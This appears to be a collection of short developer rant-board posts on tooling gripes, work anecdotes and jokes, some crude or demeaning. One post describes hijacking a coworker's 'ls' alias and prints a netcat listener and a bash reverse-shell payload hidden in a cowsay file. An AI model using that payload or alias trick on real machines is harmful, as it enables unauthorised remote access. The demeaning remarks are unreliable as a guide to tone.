So many tree potatoes. They're everywhere.

Chrome. Hit F12 and start typing. Those keystrokes used to go into the console, right? I'm not imagining things...

And then some giant free-standing penis decided that instead, the initial focus should be in the search box.

So you type, nothing appears in the console, you focus the console, and carry on.

Then you're wondering why your api calls aren't in the network tab. Caching issues? Event handler crapping out? No, it's because that command you tried to enter ten minutes ago is still in the search box and being used as a filter.

Because someone decided to change the default focus.

As a wise man once said: "who the fuck was that? Who's the slimy little communist shit twinkle-toed cocksucker who just signed his own death warrant?"

Why didn't anyone stop him? In the meeting where he suggested that, why didn't his colleagues grab him by the testicles and drag him out of the building?

Why?

Fuckers.

Caching is a cruel mistress.

I've probably said that before, but I can't remember whether I've said it before or not, because caching is a cruel mistress.

Get happy everyone https://youtube.com/watch/...

Also makes me want to play the sims

Using c++ without (most of) the standard library and avoiding operator overloads has made me like the language again. It's an extremely capable language, but my LORD is it bloated and overgrown. Using it like "c with classes" again is the way.

Okay screw it, I was always a python hater but I'm just gonna admit it:

I LOVE PYTHON!

It's so nice for quick scripts 😌

apparently "cure for depression" posts are all clips of animals or babies that literally don't know any better that any trust they extend to someone will get them slapped and abused for dumb useless shit and any help they extend to someone will get them manipulated and exploited for their good graces

every time I correct the AI it gives me compliments

and it keeps giving me fuzzy feelings now

but I'm a robot. this isn't supposed to happen. get out of my head!

I'm honestly tempted to buy an M4 Apple Silicon computer mainly for their ability to run local LLM models with unified ram.

overall I think they are too expensive for the offering, but being able to play around will LLMs without shelling out RTX5090 kinds of money is tipping the balance.

I wonder what apple people experiencies have been?

Horror Story Time:

Acouple thousand years ago, before the great plage and the rise of the machines I met the founders of a startup , they visited silico valey, one of them worked in san francisco, but they were struggling, So they fired the senior engineer who built their system, and decided to contract out their development.

Their system relied heavily on Location data, it was very central for their business and they used Google APIs, so a few months after they let go of the dude, google starts billing them. Founders did not want to pay so they contracted out a junior dev to fix the issue... And he fixed it.

On that same weekend they attended a big convention, invested a good chunk of money there, registration numbers skyrocketed, huge success. Come monday morning they call me on Skype.

There was no location data in the new accounts, zero, zilch, nada. The "fix" the freelancer did was disabling Google integration altogether, They never tested the stuff properly, just accepted the changes and went with it.

I don't know if they went under because of this, or if this was just the a part of the issue. But sure enought the company lasted less then a Year after that.

losing a contract should not feel like being fired, but when it's half your income it certainly does feel a lot like it.

ChatGPT Go is free for India for a full year.

Lord help the LLMs learning off of Indians.

Did any of you other nerds sort of just glide through math in school and felt inadequate once you got to the real world, like: "I can't be a real engineer, I barely understood trig!"

That was me, then I started studying the fourier transform about a week and a half ago (because I bought an Arduino and want to make real-time sound visualizations)

I found that I actually really enjoy math on my own time. Learning about complex numbers, Euler's formula, polar form, whatever whatever - it was exciting and I was doing practice problems on paper and enjoying it!

Hopefully this momentum continues. Maybe one day I can be a genuine tough-guy engineer with math skills.

Mentions aren't coming up in my notifications. Sorry if I'm missing crap. devRant broke.

I ❤️scratching mosquito bites, got a huge collection of them

Hear me out: A classic wizzard fight but the spells are terminal commands.

I just bought some new device that has AA bateries included, already inserted, and obviously, already leaking.
Clowns.

We are already in the Windows 11 era but they still didn't fix that thing about choosing "update and shut down" and it restarts instead.

Once, we hired this one intern as a mobile games tester.

His first day on the job. He received his laptop for work.
He sits down by his desk, takes out his headphones, plugs them into the laptop, && starts playing his favorite music. _Now_ he can finally test the game in peace.

...the fuck?

I _get_ how testers can get sick of hearing the same crappy music, SFX, && other sounds listening to them day in && day out for days, weeks, months, etc. _This_ guy, however, pulls that shit on the first day?

Sadly, the lead either had never noticed that or had never taught the wannabe better.

Good thing !all testers are like that.

We have a no AI use policy at the company.

I had a contract developer added onto my team. I start to see AI generated comments in his code all the time. Point out that the code being contributed is def AI nonsense. I brought it up with my boss which reports to the CTO. Response: “As long as he doesn’t get caught I guess.”

He did get caught. This is me catching him and telling you.

PM is on his period, and since I'm leaving, anyone have any "fun" recommendations to leave in the code?

Love seeing the expected delivery time of a delivery slowly slide from the morning into the afternoon (including the latests at!) -_-

And these guys don't always ring the bell, so I need to listen to a running truck thingy and the beep as they scan the package.

And it's dev related stuff ;p

Fuck my life, it's storming and something in the building is resonating after each gust of wind. Constantly tuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuut

fucking tinnitus simulator

Back from my holiday and we still don't have any code pushed for the backend lmao

Picture this: a few years back when I was still working, one of our new hires – super smart dude, but fresh to Linux – goes to lunch and *sins gravely* by leaving his screen unlocked. Naturally, being a mature, responsible professionals… we decided to mess with the guy a tiny little bit. We all chipped in, but my input looked like this:

alias ls='curl -s http://internal.server/borat.ascii -o /tmp/.b.cow; curl -s http://internal.server/borat.quotes | shuf -n1 | cowsay -f /tmp/.b.cow; ls'

So every time he called `ls`, before actually seeing his files, he was greeted with Borat screaming nonsense like “My wife is dead! High five!” Every. Single. Time. Poor dude didn't know how to fix it – lived like that for MONTHS! No joke.

But still, harmless prank, right? Right? Well…

His mental health and the sudden love for impersonating Cohen's character aside, fast-forward almost a year: a CTF contest at work. Took me less than 5 minutes, and most of it was waiting. Oh, baby! We ended up having another go because it was over before some people even sat down.

How did I win? First, I opened the good old Netcat on my end:

nc -lvnp 1337

…then temporarily replaced Borat's face with a juicy payload:

exec "sh -c 'bash -i >& /dev/tcp/my.ip.here/1337 0>&1 &'";

Yes, you can check that on your own machine. GNU's `cowsay -f` accepts executables, because… the cow image is dynamic! With different eyes, tongue, and what-not. And my man ran that the next time he typed `ls` – BOOM! – reverse shell. Never noticed until I presented the whole attack chain at the wrap-up. To his credit, he laughed the loudest.

Moral of the story?

🔒 Lock your screen.
🐄 Don’t trust cows.
🎥 Never ever underestimate the power of Borat in ASCII.

GREAT SUCCESS! 🎉

At least 5 of my rants are gone. Just disappeared. I vaguely remember one containing trigger words, like “suicide” (because a script was literally killing its own process ID) – did Devrant go through some “woke” clean-up phase?

Woah! Has DevRant been removed from the play store?

I’m making an iOS app "WTF Meter", which tracks the amount of phrases like "what the fuck", which you say to your rubber ducky while you review code or any other pieces of work.

It’s supposed to be a gag app for entertainment but it also accurately measures the "WTFs per minute" value, which we all know to be the only true indicator for code quality ;)

Phrases can be customized and there is a history of sessions for later review.

If you are interested, I’d be glad if you could test the current TestFlight version and give me any kind of feedback.

I’m particularly interested in what you think about the design and how intuitive the app is.

Gif showing the app in action:
https://gifyu.com/image/b33tJ

TestFlight:
https://testflight.apple.com/join/...

"Bookkeeping" is the most Dutch looking English word ever!

We were on this vacation island where we all got to eat those black, peanut sized, jelly candy - a speciality of that island. This candy was lying around everywhere: In our huts, next to our beds, on the edges of the streets, and also floating on the water of the river.

Then a species of humanoid amphibians appeared on that island. They told us that this black jelly candy is actually their eggs.
I asked their leader if they are pissed about us for eating them.
The leader faked a smile and after a short delay he slowly said that it doesn’t bother them.

We were told to gather in one place, behind a sacred black pool, that we had to swim across.
That pool looked like oil and was half full with that "candy". The candy was sticky and got everywhere, eyes, mouth, ears, nose. It was disgusting and hard to swim in.